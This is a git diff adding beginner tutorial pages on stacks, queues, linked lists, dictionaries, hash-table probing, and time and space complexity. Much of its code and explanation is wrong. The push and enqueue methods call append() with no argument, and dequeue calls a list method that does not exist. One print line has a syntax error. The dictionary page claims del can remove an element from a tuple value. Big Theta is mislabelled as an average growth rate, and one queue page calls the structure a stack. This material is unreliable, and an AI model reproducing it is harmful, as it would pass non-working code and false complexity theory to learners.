diff --git a/Data-Structures-and-Algos-Topic/concepts/Stacks_PushPop - Concept.mdx b/Data-Structures-and-Algos-Topic/concepts/Stacks_PushPop - Concept.mdx
new file mode 100644
index 00000000..cdaf17c1
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Stacks_PushPop - Concept.mdx
@@ -0,0 +1,40 @@
+
+
+# Adding and Removing Items onto a Stack
+
+### Adding elements onto a stack
+
+What makes stacks very useful is that it allows us to add and remove elements into the data structure.
+
+This is done with `push` command. We create a function:
+
+```python
+def push(self, item):
+ self.items.append()
+```
+
+To use this function, we can simply use the line
+
+``` python
+stack.push("Random Element 1")
+```
+
+### Removing Elements from a Stack
+
+We can also remove elements from a stack. Similiar to adding, we need to create another function.
+
+``` python
+def pop(self, item):
+ return self.items.pop()
+```
+
+This **ALWAYS** removes the top most item in the stack.
+
+To use the function, we use the line:
+
+```python
+stack.pop()
+```
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/concepts/Stacks_Return information - Concept.mdx b/Data-Structures-and-Algos-Topic/concepts/Stacks_Return information - Concept.mdx
new file mode 100644
index 00000000..6f85492e
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Stacks_Return information - Concept.mdx
@@ -0,0 +1,44 @@
+
+
+# Printing Elements in a Stack
+
+As we know, stacks are a great data structure that we often use in Pythons. We need to be able to create function that returns what elements are inside the stack. This function should under `Class Stack():`
+
+``` python
+def get_stack(self):
+ return self.items
+```
+
+When we call this function, we should be able to access all the elemts inside the stack.
+
+To view what elements are inside, you can simply print the stack with this line of code:
+
+``` python
+print(stack.get_stack()):
+```
+
+### When Stack is Empty
+
+It is very important that when the stack has no elements inside it, we need a way to check for that. We can do that by creating another function under your `Class Stack():`:
+
+``` python
+def is_empty(self):
+ return self.items == []
+```
+
+If the stack has no elements in it, and we call the function, what should be returned is `True`
+
+If the stack does have elements in it, the function will return `False`
+
+### Peeking at the Stack
+
+```python
+def peek(self):
+ if not self.is_empty():
+ return self.items[-1]
+```
+
+This line of code lets us view the top of the stack. It allows us to view the first item on the stack.
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/concepts/The Linked List.md b/Data-Structures-and-Algos-Topic/concepts/The Linked List.md
new file mode 100644
index 00000000..05863250
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/The Linked List.md
@@ -0,0 +1,43 @@
+
+
+### The Linked List
+
+The linked list is a data structure involving nodes and pointers. It is a linear data set than holds nodes in sequence, with each pointing to the next node. This doesn't make them ordered; unlike arrays, linked lists don't have indices, so search isn't as simple as it is in arrays. They are useful for efficient deletion and insertion of elements in the list, by the simple movement of pointers to new or different nodes.
+
+A simple implementation of a linked list includes the following methods:
+
+- Insert: inserts a new node into the list
+
+ The insert() function takes two parameters:
+
+ - **index** - position where an element needs to be inserted
+ - **element** - this is the element to be inserted in the list
+
+- Size: returns size of list
+
+- Search: searches list for a node containing the requested data and returns that node if found, otherwise raises an error
+
+- Delete: searches list for a node containing the requested data and removes it from list if found, otherwise raises an error
+
+
+**The Head of the List**
+
+The first architectural piece of the linked list is the ‘head node’, which is simply the first node in the list. When the list is first initialized it has no nodes, so the head is set to None. (Note: the linked list doesn’t necessarily require a node to initialize. The head argument will default to None if a node is not provided, as shown by `head=None` in the constructor method's arguments.)
+
+```python
+class LinkedList(object):
+ def __init__(self, head=None):
+ self.head = head
+```
+
+**The Tail of the List**
+
+Another useful piece is the tail of the list. This is the last node in the list. It's not necessary to have this node tracked, but it makes some operations easier later (like deleting the last node). The linked list will never require a tail to initalize, and at first, the head and the tail will point to the same, single value in the list. Once more values are added, the tail will only point to the last value. Again, a tail argument will never be passed, so this is just here to track the last value.
+
+```python
+class LinkedList(object):
+ def __init__(self, head=None, tail=None):
+ self.head = head
+ self.tail = tail
+```
+
diff --git a/Data-Structures-and-Algos-Topic/concepts/The Node.md b/Data-Structures-and-Algos-Topic/concepts/The Node.md
new file mode 100644
index 00000000..39051ea5
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/The Node.md
@@ -0,0 +1,24 @@
+
+
+The node is where data is stored in linked lists, trees, and graphs. (they're kind of like those plastic Easter eggs that hold treats). Along with the data, each node also holds a pointer which is a reference to the next node in the data structure. Below is a simple implementation of a `Node` class:
+
+```python
+class Node(object):
+
+ def __init__(self, data=None, next_node=None):
+ self.data = data
+ self.next_node = next_node
+
+ def get_data(self):
+ return self.data
+
+ def get_next(self):
+ return self.next_node
+
+ def set_next(self, new_next):
+ self.next_node = new_next
+```
+
+> This class _Node_ represents the node objects that are within a given data structure. Each _Node_ contains data that can be retrieved via the `get_data` function and can set or get the next node via the functions `set_next` and `get_next` respectively.
+
+The node initializes with a single datum and its pointer is set to None by default (this is because the first node inserted into the list will have nothing to point at!). We also add a few convenience methods: one that returns the stored data, another that returns the next node (the node to which the current object node points), and finally a method to reset the pointer to a new node. These will come in handy when we implement Linked Lists and Search Trees.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/concepts/Time Complexity - Concept.md b/Data-Structures-and-Algos-Topic/concepts/Time Complexity - Concept.md
new file mode 100644
index 00000000..6c8e19e1
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Time Complexity - Concept.md
@@ -0,0 +1,131 @@
+
+# Concept_name
+
+Time Complexity
+
+# Time complexity Step 1
+
+## name
+```
+What is time complexity?
+```
+
+## md_content
+
+```
+Time Complexity boils down to the rate the runtime of a function increases as the input gets very large.
+
+Functions and algorithms can increase in a variety of different "times" and its important to know what each time represents.
+
+To determine the time function grows in, we look at each individual line and approximate how the increase in runtime as input increases. Looking at a function
+```
+
+# Time complexity Step 2
+
+## name
+```
+Determining time complexity
+```
+
+## code_snippet
+
+``` python
+class_grade = [80, 73, 20, 45, 100]
+def GradeAverage(class_grade):
+
+ average = 0
+ count = 0
+ for i in class_grade:
+ average = average + i
+ count = count + 1
+ average = average / count
+
+ return average
+
+```
+
+## md_content
+
+```
+To calculate the time, break the code by lines.
+
+```
+## code_snippet
+```python
+average = 0
+count = 0
+```
+
+## md_content
+
+```
+Both these lines will take a constant amount of time: *c~1~* and *c~2~* respectively.
+```
+
+## code_snippet
+```python
+average = average + i
+count = count + 1
+```
+
+## md_content
+
+```
+These lines also take a constant amount of time: *c~3~* and *c~4~* respectively. However, they repeat *n* amount of times so the runtime of these lines would be *n* * *c~3~* and *n* * *c~4~*.
+```
+
+## code_snippet
+``` python
+average = average / count
+return average
+```
+
+## md_content
+
+```
+ These lines take a constant amount of time *c~5~* and *c~6~*.
+
+When looking for time complexity, the fastest growing term determines the time the function grows in. For our function `AverageGrade` , it would run in linear time because the runtime of a function increases as n increases.
+```
+
+# Time complexity Step 3
+
+## name
+```
+Big - O Notation
+```
+
+## md_content
+
+```
+We use Big-O notation to express the time a function grows in.
+
+* A function that grows in a *constant time* doesn't grow at all. A graph of its runtime vs input size would be a straight, constant line.
+* Growing in *Linear Time* means that the function of runtime vs input size increases at a steady rate. This means as the input size increases, the runtime increases at a constant rate.
+* Growing in *Quadratic Time* would mean that the graph of the function's runtime vs its input size would look like the graph of a quadratic function. This means that as the input size increases, the runtime increases at a faster and faster rate, unlike growing in *Linear time*.
+
+| Time | Big-O Notation |
+| ---------------- | -------------- |
+| Constant Time | O(1) |
+| Logarithmic Time | O(log n) |
+| Linear Time | O(n) |
+| Quadratic Time | O(n^2^)) |
+| Factorial Time | O(n!) |
+
+
+```
+
+# Time complexity Step 4
+
+## name
+```
+Importance of time complexity
+```
+
+## md_content
+
+```
+Time Complexity is very important when it comes to functions because it allows us to measure how fast a function will grow. Its important to understand what each specific time represents and which time is faster than others (the chart above goes from fastest to slowest from top to bottom) as it allows us to understand the speed with which our function performs as input size gets very large. Ideally, we would like our functions to be as fast as possible and we can only understand relative by speed by recognizing the different time complexities!
+
+**Time Complexity does not tell us the runtime of a function!! Calculating the runtime of a function is much harder because we have to consider hardware, IDE, etc**.
+```
diff --git a/Data-Structures-and-Algos-Topic/concepts/Updating dictionary.md b/Data-Structures-and-Algos-Topic/concepts/Updating dictionary.md
new file mode 100644
index 00000000..afa6ea3d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Updating dictionary.md
@@ -0,0 +1,45 @@
+
+
+Dictionaries are mutable. We can add new items or change the value of existing items using assignment operator.
+
+You can update a dictionary by adding a new entry or a key-value pair, modifying an existing entry, or deleting an existing entry as shown below in the simple example −
+
+```python
+# Declare a dictionary
+dict = {'Name': 'Zara', 'Age': 7, 'Class': 'First'}
+
+dict['Age'] = 8; # update existing entry
+dict['School'] = "DPS School"; # Add new entry
+
+print("dict['Age']: ", dict['Age'])
+print("dict['School']: ", dict['School'])
+```
+
+> Note: a dictionary allows you to dynamically add new keys with corresponding values or redefine values to an existing key following initialization.
+
+The code snippet above should reflect the appropriate changes on _dict_ such that it contains a new key _'School'_ and that _'Age'_ no longer has value _'7'_.
+
+To delete an item from an dictionary, we use the keyword **del**. See below:
+
+```python
+del dict['Name']
+```
+
+You pass the key in the brackets, and this deletes the key value pair.
+
+When there are multiple values associated with a key, the deletion is slightly more involved. Here is an example of a dictionary with mutiple values:
+
+```python
+dict = {'Name': ('Zara', 'Golde'), 'Age': 7, 'Class': 'First'}
+```
+
+As you can see, there are two names listed after the key 'Name'. To delete only one of these values, we use two brackets. The first one denotes the key, and the second denotes the index of the value you'd like to delete.
+
+```python
+del dict['Name'][1]
+```
+
+The above deletion would remove 'Golde' from the values, since 'Zara' is at index 0, and 'Golde' is at index 1.
+
+The best case time complexity for updating dictionaries is O(1), since these operations happen in constant time. Worst case is O(n), when the underlying storage has to be changed to accomodate the new key value pair. Space complexity is O(n), when n is the number elements, since the size of the dictionary depends on the number of elements therein.
+
diff --git a/Data-Structures-and-Algos-Topic/images/Queue.jpg b/Data-Structures-and-Algos-Topic/images/Queue.jpg
new file mode 100644
index 00000000..25926e0f
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/images/Queue.jpg differ
diff --git a/Data-Structures-and-Algos-Topic/images/Time.jpg b/Data-Structures-and-Algos-Topic/images/Time.jpg
new file mode 100644
index 00000000..487476b9
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/images/Time.jpg differ
diff --git a/Data-Structures-and-Algos-Topic/images/TimeSpace1.jpeg b/Data-Structures-and-Algos-Topic/images/TimeSpace1.jpeg
new file mode 100644
index 00000000..15390b3c
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/images/TimeSpace1.jpeg differ
diff --git a/Data-Structures-and-Algos-Topic/images/TimeSpace2.png b/Data-Structures-and-Algos-Topic/images/TimeSpace2.png
new file mode 100644
index 00000000..a692bd4f
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/images/TimeSpace2.png differ
diff --git a/Data-Structures-and-Algos-Topic/images/TimeSpace3.png b/Data-Structures-and-Algos-Topic/images/TimeSpace3.png
new file mode 100644
index 00000000..337c20be
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/images/TimeSpace3.png differ
diff --git a/Module4.2_Intermediate_Data_Structures/activities/git.keep b/Data-Structures-and-Algos-Topic/images/git.keep
similarity index 100%
rename from Module4.2_Intermediate_Data_Structures/activities/git.keep
rename to Data-Structures-and-Algos-Topic/images/git.keep
diff --git a/Data-Structures-and-Algos-Topic/images/hash.png b/Data-Structures-and-Algos-Topic/images/hash.png
new file mode 100644
index 00000000..62bfd897
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/images/hash.png differ
diff --git a/Data-Structures-and-Algos-Topic/images/stacks.png b/Data-Structures-and-Algos-Topic/images/stacks.png
new file mode 100644
index 00000000..eb052eba
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/images/stacks.png differ
diff --git a/Data-Structures-and-Algos-Topic/images/topic.png b/Data-Structures-and-Algos-Topic/images/topic.png
new file mode 100644
index 00000000..c1056527
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/images/topic.png differ
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Big O Concept.mdx b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Big O Concept.mdx
new file mode 100644
index 00000000..02b34369
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Big O Concept.mdx
@@ -0,0 +1,50 @@
+
+
+# Big O Notation
+
+These are three important terms that are associated with Time and Space Complexity. Big O notation allows us to express the rate of growth of a function.
+
+##### To determine Big O notation for a function:
+
+1. Determine the fastest growing term in a function
+2. Drop all the coefficients of the term
+3. Check for Corresponding Big O notation
+
+Below is a table for the common times and their corresponding Big O Notation.
+
+| Time | Big-O Notation |
+| ---------------- | -------------- |
+| Constant Time | O(1) |
+| Linear Time | O(n) |
+| Quadratic Time | O(n^2^)) |
+| Factorial Time | O(n!) |
+| Logarithmic Time | O(log n) |
+
+**It's very important to note that Big O Notation is determined as *n* gets very large! We care more about the runtime of a function or algorithm when the input is very large than when it is small**.
+
+## Big O, Big Theta, Big Omega
+
+### Big Theta
+
+Big Theta is what we have been talking about up above. It is commonly referenced as **Big O** but it's academic name is **Big Theta**. It is not to be confused with the academic **Big O**, which for clarity will be displayed as : **Big (O)**.
+
+**Big Theta** is simply the average rate of growth for a function of Algorithm. When we identified the fastest growing term in a function, we dropped all the other terms of the function to get an estimate of the growth. What we did was find **Big Theta**.
+
+
+
+### Big (O)
+
+Big (O) essentially serves as an upper bound for a function. It is a function whose curve on a graph, at least after a certain point on the x-axis (input size), will always be higher on the y-axis (time) than the curve of the runtime. Since higher on the y-axis is more time, and therefore slower, the algorithm will always go faster, after a point, than the Big (O). In other words, Big (O) tells us that after a certain input number, our function's runtime will never exceed the runtime of Big (O).
+
+
+
+The vertical axis represents runtime. The horizontal axis represents the input size. As seen, after a certain point, the runtime of **n^2^** will always exceed the run time of **log(n)**. Hence, **O(n^2^)** is the **Big (O)** to **O(log(n))**.
+
+
+
+### Big Omega
+
+Big Omega is the opposite of Big (O). Big Omega serves as a lower bound for a function or algorithm. Big Omega tells us that after a certain point, the fastest our function will run is the **Big Omega**. **O(1)** is a the **Big Omega** to most functions, because it **O(1)** runs on constant time, but, in general, we want our **Big Omega** and **Big (O)** to be as close as possible to our **Big Theta**.
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Double_Hashing_Example.jpeg b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Double_Hashing_Example.jpeg
new file mode 100644
index 00000000..f3833aac
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Double_Hashing_Example.jpeg differ
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Hash Table - Double Hashing.md b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Hash Table - Double Hashing.md
new file mode 100644
index 00000000..14200954
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Hash Table - Double Hashing.md
@@ -0,0 +1,47 @@
+# Hash Tables - Double Hashing
+
+### Motivation
+
+In Hash Tables, when there is a collision, we must have a collision resolution technique when keys are hashed to the same bucket. Double Hashing is an example of a collision resolution technique. This technique is a part of open addressing.
+
+### Preliminary Information 1
+
+* There are **two** hash functions (`h1(k)` and `h2(k)`)
+
+* The overall, complete hashing function is `h(k) = h1(k) + i * h2(k) % (size of table)` .
+
+* `i` is initialized to 0 and incremented everytime there is a collision. This means that `h2(k)` is **only** used when there is a collision, otherwise we **only** use `h1(k)`.
+
+* The following are common examples of hash functions used in double hashing
+
+ * `h1(k) = k % (size of table)`
+ * `h2(k) = X - (k % X)`
+ * X must be **prime** and **less than** the size of the hash table
+ * We do not want `h2(k)` to equal 0 as this would mean that `h(k) = h1(k) + i * 0 = h1(k).`2
+
+
+
+### Example
+
+Double Hashing is best demonstrated through an example.
+
+Say that we have a hash table of size 5. We will let `X = 3` as this is a prime number that is less than the size of the hash table. Let's try to insert the numbers 1, 6, and 11.
+
+
+
+
+
+1 Credit to https://www.geeksforgeeks.org/double-hashing/ for concepts for Preliminary Information section. See https://www.geeksforgeeks.org/double-hashing/ for futher explanation and their examples
+
+2See https://www.youtube.com/watch?v=lDMc4hg1lUk for more detailed explanation
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Hash Tables - Quadratic Probing.md b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Hash Tables - Quadratic Probing.md
new file mode 100644
index 00000000..f941e08e
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Hash Tables - Quadratic Probing.md
@@ -0,0 +1,39 @@
+# Hash Tables - Quadratic Probing
+
+### Motivation
+
+In Hash Tables, when there is a collision, we must have a collision resolution technique when keys are hashed to the same bucket. Quadratic Probing is an example of a collision resolution technique. This technique is a part of open addressing.
+
+### Preliminary Information1
+
+* We define our hash function to be h(k) = (k+j2) % (size of table)
+* We define j as a counter variable which is initialized to 0 when attempting to insert an element into the hash table. If, when using the hash function, we have a collision, we increment j and recalculate where to insert the element using the new hash function.
+
+### Example2
+
+Quadratic probing is best demonstrated through an example.
+
+Say that we have a hash table of size 5. Let's try to insert the numbers 2, 7, and 22.
+
+
+
+Notice how everytime there is a collision, we increment j and reapply the hash function h(k) = (k+j2) % (size of table).
+
+
+
+1 Methodology credit to https://www.youtube.com/watch?v=BoZbu1cR0no
+
+2 Original example, but inspired by https://www.youtube.com/watch?v=BoZbu1cR0no
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Quadratic_Probing_Diagram .jpeg b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Quadratic_Probing_Diagram .jpeg
new file mode 100644
index 00000000..5461748e
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Quadratic_Probing_Diagram .jpeg differ
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Queue-Add,Remove,View- Concept 2.mdx b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Queue-Add,Remove,View- Concept 2.mdx
new file mode 100644
index 00000000..84ab5c53
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Queue-Add,Remove,View- Concept 2.mdx
@@ -0,0 +1,41 @@
+
+
+# Adding and Removing Items from a Queue
+
+### Adding an Item
+
+To add an item to a queue, we need to create a function `def enqueue()`.
+
+```python
+def enqueue(self, item):
+ self.item.append()
+```
+
+We can call this function by simply using the line of code
+
+```python
+Queuename1.enqueue(Item1)
+```
+
+### Removing an Item
+
+To remove an item from a queue, we also need to write a function.
+
+```python
+def dequeue(self, item):
+ return self.items.dequeue()
+```
+
+### To view a queue
+
+The function we write to do this will be a for loop that prints out every element in our queue.
+
+```python
+for i in range (len(self.queue)):
+ print (self.queue[i])
+```
+
+
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Queue-Add,Remove,View- Concept.md b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Queue-Add,Remove,View- Concept.md
new file mode 100644
index 00000000..e4b5da9c
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Queue-Add,Remove,View- Concept.md
@@ -0,0 +1,49 @@
+
+
+# Adding and Removing Items from a Queue
+
+### Goals
+
+In this concept, we will learn about the most important functions of a Queue data structure: adding an item to the queue, subtracting an item from the queue, and viewing the queue.
+
+### Adding an Item
+
+To add an item to a queue, we need to create a function `def enqueue()`.
+
+```python
+def enqueue(self, item):
+ self.item.append()
+```
+
+We can call this function by simply using the line of code
+
+```python
+Queuename1.enqueue(Item1)
+```
+
+This adds an item to the **end** of the queue. This is analogous to adding someone to the end of a line at a concert.
+
+### Removing an Item
+
+To remove an item from a queue, we also need to write a function.
+
+```python
+def dequeue(self, item):
+ return self.items.dequeue()
+```
+
+This removes an item from the **front** of the queue. This is analogous to someone being at the front of the line for a concert and being admitted in and removed from the line in order to go enjoy the show!
+
+### To view a queue
+
+The function we write to do this will be a for loop that prints out every element in our queue.
+
+```python
+for i in range (len(self.queue)):
+ print (self.queue[i])
+```
+
+This loops through all of the elements that are **currently in** our queue and prints them out. This is analogous to a security guard checking each person that is in the concert line. The guard won't be checking the people who have already been admitted into the concert (i.e. people who have been dequed) nor checking those who haven't entered the line (haven't been enqueued); the guard will only check those **currently in** line.
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Queue-Add,Remove,View- Concept.mdx b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Queue-Add,Remove,View- Concept.mdx
new file mode 100644
index 00000000..84ab5c53
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Queue-Add,Remove,View- Concept.mdx
@@ -0,0 +1,41 @@
+
+
+# Adding and Removing Items from a Queue
+
+### Adding an Item
+
+To add an item to a queue, we need to create a function `def enqueue()`.
+
+```python
+def enqueue(self, item):
+ self.item.append()
+```
+
+We can call this function by simply using the line of code
+
+```python
+Queuename1.enqueue(Item1)
+```
+
+### Removing an Item
+
+To remove an item from a queue, we also need to write a function.
+
+```python
+def dequeue(self, item):
+ return self.items.dequeue()
+```
+
+### To view a queue
+
+The function we write to do this will be a for loop that prints out every element in our queue.
+
+```python
+for i in range (len(self.queue)):
+ print (self.queue[i])
+```
+
+
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Queue-Concept.md b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Queue-Concept.md
new file mode 100644
index 00000000..dbe0b11c
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Queue-Concept.md
@@ -0,0 +1,30 @@
+
+
+# Queue
+
+A queue is a very important data structure in Python. It is essentially a list of elements in Python that we can use to work with data. It is a linear data structure that has a very flexible size and is very easy to add elements to. A queue is very similar to a stack, although the fundamental difference is that the queue follows the **FIFO rule - First in, First out**.
+
+You can think of a queue data structure as similar to a queue (i.e. a line) for a concert. The first person to enter the line, is the first person to leave the line and enter the concert. Similarly, when one is in line for a fast-food restaurant, the cashier attends the first person in line (**F**irst **I**n **F**irst **O**ut)!
+
+As we will see, queues are used in many algorithms and for the implementation of functions for many data structures. For example, queues are used in graph (another important data structure) algorithms such as Breadth-First Search.
+
+## Queue Function
+
+Queues, as a data structure, are essentially a class. We can create a Queue with the following code here.
+
+```Python
+class Queue():
+ def __init__(self):
+ self.items = []
+```
+
+Just like a stack, we are able to add and remove items from a queue.
+
+### Rules for Queue
+
+1. Things to Remember
+ 1. The point of entry and exit are different in a Queue.
+ 2. **Enqueue** - Adding an element to a Queue
+ 3. **Dequeue** - Removing an element from a Queue
+ 4. Random access is not allowed - you cannot add or remove an element from the middle.
+
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Queue-Concept.mdx b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Queue-Concept.mdx
new file mode 100644
index 00000000..3e475991
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Queue-Concept.mdx
@@ -0,0 +1,28 @@
+
+
+# Queue
+
+A stack is a very important data structure in python. Its essentially a list of elements in python we can use to work with data. It is a linear data structure that is very flexible size and is very easy to add elements to a Stack. A Queue is very similar to a stack, although the fundamental difference is that the stack follows the **FIFO rule - First in, First out**.
+
+You can think of a stack as similar to a stack of line for a concert. The first person to enter the line, is the first person to leave the line.
+
+## Queue Function
+
+Stacks, as a data structure, are essentially a class. We can create a Stack with the following code here.
+
+```Python
+class Queue():
+ def __init__(self):
+ self.items = []
+```
+
+Just like a **Stack**, we are able to add and remove items from a queue.
+
+### Rules for Queue
+
+1. Things to Remember
+ 1. The point of entry and exit are different in a Queue.
+ 2. **Enqueue** - Adding an element to a Queue
+ 3. **Dequeue** - Removing an element from a Queue
+ 4. Random access is not allowed - you cannot add or remove an element from the middle.
+
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Space Complexity - Concept.md b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Space Complexity - Concept.md
new file mode 100644
index 00000000..4be5df73
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Space Complexity - Concept.md
@@ -0,0 +1,39 @@
+
+
+# Space Complexity
+
+Space Complexity is the rate of a function's memory usage as input increases. As the input of functions and algorithms gets very large, the amount of memory required also will increase. It can increase in different rates and Space Complexity allows us to express those rates.
+
+Space Complexity revolves much more on *data types* rather than executing the code.
+
+*Integers*, *floats*, *Strings* are **data types** that always take a constant amount of memory.
+
+**Data Types** like arrays do not take a constant amount of memory. The elements inside an array are malleable so the amount of memory an array takes fluctuates.
+
+Why does understanding the Space Complexity of a function or algorithm matter? It is important as we do not want our functions to **waste** memory space. That is, if we can solve a problem using one array of size N instead of two arrays of size N, the solution with one array would be better in terms of **space** complexity (please note that we are focusing on **space**). However, space complexity is only one aspect of analyzing an algorithm's efficiency and a minimal space usage does not *neccessarily* mean that the function is considered *efficient* as we might want to consider other factors such as time complexity as well.
+
+## Looking at a function
+
+```python
+class_grade = [80, 73, 20, 45, 100]
+def GradeAverage(class_grade):
+ average = 0
+ count = 0
+ for i in class_grade:
+ average = average + i
+ count = count + 1
+ average = average / count
+
+ return average
+```
+
+Lets examine this block of code, line by line.
+
+The values of the variables`Average` and `Count` will always take a constant amount of space. Those values are *c~1~* and *c~2~*.
+
+We have another data type, `class_grade`, which takes up *c~3~* amount of memory for every *n* element. The amount of memory this takes is *n* * *c~3~* .
+
+The term that has the fastest growing memory usage determines the rate of how much memory is being used by the function. In this case, it would be *n* * *c~3~* which means the function's memory usage growth is linear.
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Space Complexity - Concept.mdx b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Space Complexity - Concept.mdx
new file mode 100644
index 00000000..4be5df73
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Space Complexity - Concept.mdx
@@ -0,0 +1,39 @@
+
+
+# Space Complexity
+
+Space Complexity is the rate of a function's memory usage as input increases. As the input of functions and algorithms gets very large, the amount of memory required also will increase. It can increase in different rates and Space Complexity allows us to express those rates.
+
+Space Complexity revolves much more on *data types* rather than executing the code.
+
+*Integers*, *floats*, *Strings* are **data types** that always take a constant amount of memory.
+
+**Data Types** like arrays do not take a constant amount of memory. The elements inside an array are malleable so the amount of memory an array takes fluctuates.
+
+Why does understanding the Space Complexity of a function or algorithm matter? It is important as we do not want our functions to **waste** memory space. That is, if we can solve a problem using one array of size N instead of two arrays of size N, the solution with one array would be better in terms of **space** complexity (please note that we are focusing on **space**). However, space complexity is only one aspect of analyzing an algorithm's efficiency and a minimal space usage does not *neccessarily* mean that the function is considered *efficient* as we might want to consider other factors such as time complexity as well.
+
+## Looking at a function
+
+```python
+class_grade = [80, 73, 20, 45, 100]
+def GradeAverage(class_grade):
+ average = 0
+ count = 0
+ for i in class_grade:
+ average = average + i
+ count = count + 1
+ average = average / count
+
+ return average
+```
+
+Lets examine this block of code, line by line.
+
+The values of the variables`Average` and `Count` will always take a constant amount of space. Those values are *c~1~* and *c~2~*.
+
+We have another data type, `class_grade`, which takes up *c~3~* amount of memory for every *n* element. The amount of memory this takes is *n* * *c~3~* .
+
+The term that has the fastest growing memory usage determines the rate of how much memory is being used by the function. In this case, it would be *n* * *c~3~* which means the function's memory usage growth is linear.
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Stacks - Concept.md b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Stacks - Concept.md
new file mode 100644
index 00000000..0eb81437
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Stacks - Concept.md
@@ -0,0 +1,28 @@
+1.
+
+ # Stacks
+
+ A Stack is a very important data structure in Python. It is essentially a list of elements in Python that we can use to work with data. It is a linear data structure that has a very flexible size and is very easy to add elements to. A stack is very similar to a queue, although the fundamental difference is that the stack follows the **LIFO rule - Last in, first out**.
+
+ You can think of a stack data structure as similar to a stack of plates. When you reach to pick up a plate, you always grab the plate closest to the top. Essentially, the plate that you placed last is on top and this plate is the first one you remove when you grab a plate (**L**ast **I**n **F**irst **O**ut).
+
+ As we will see, stacks are used in many algorithms and for the implementation of functions for many data structures. For example, stacks are used in graph (another important data structure) algorithms such as Depth-First Search.
+
+ ## Stack Function
+
+ Stacks, as a data structure, are essentially a class. We can create a stack with the following code here.
+
+ ```Python
+ class Stack():
+ def __init__(self):
+ self.items = []
+ ```
+
+
+
+ ### Things to remember:
+
+ 1. The topmost element provides information about the number of elements in the stack and if the stack is full or empty.
+ 2. The last element to enter the stack will be the first to leave. (**Last In First Out - LIFO**).
+ 3. You cannot remove elements from an empty stack.
+ 4. Random access is not allowed - you cannot add or remove an element from the middle.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Stacks - Concept.mdx b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Stacks - Concept.mdx
new file mode 100644
index 00000000..702cfd2a
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/labs/concepts/Concepts/Stacks - Concept.mdx
@@ -0,0 +1,26 @@
+1.
+
+ # Stacks
+
+ A stack is a very important data structure in python. Its essentially a list of elements in python we can use to work with data. It is a linear data structure that is very flexible size and is very easy to add elements to a Stack. A stack is very similar to a Queue, although the fundamental difference is that the stack follows the **LIFO rule - Last in, first out**.
+
+ You can think of a stack as similar to a stack of plates. When you reach to pick up a plate, you always grab the plate closest to the top.
+
+ ## Stack Function
+
+ Stacks, as a data structure, are essentially a class. We can create a Stack with the following code here.
+
+ ```Python
+ class Stack():
+ def __init__(self):
+ self.items = []
+ ```
+
+
+
+ ### Things to remember:
+
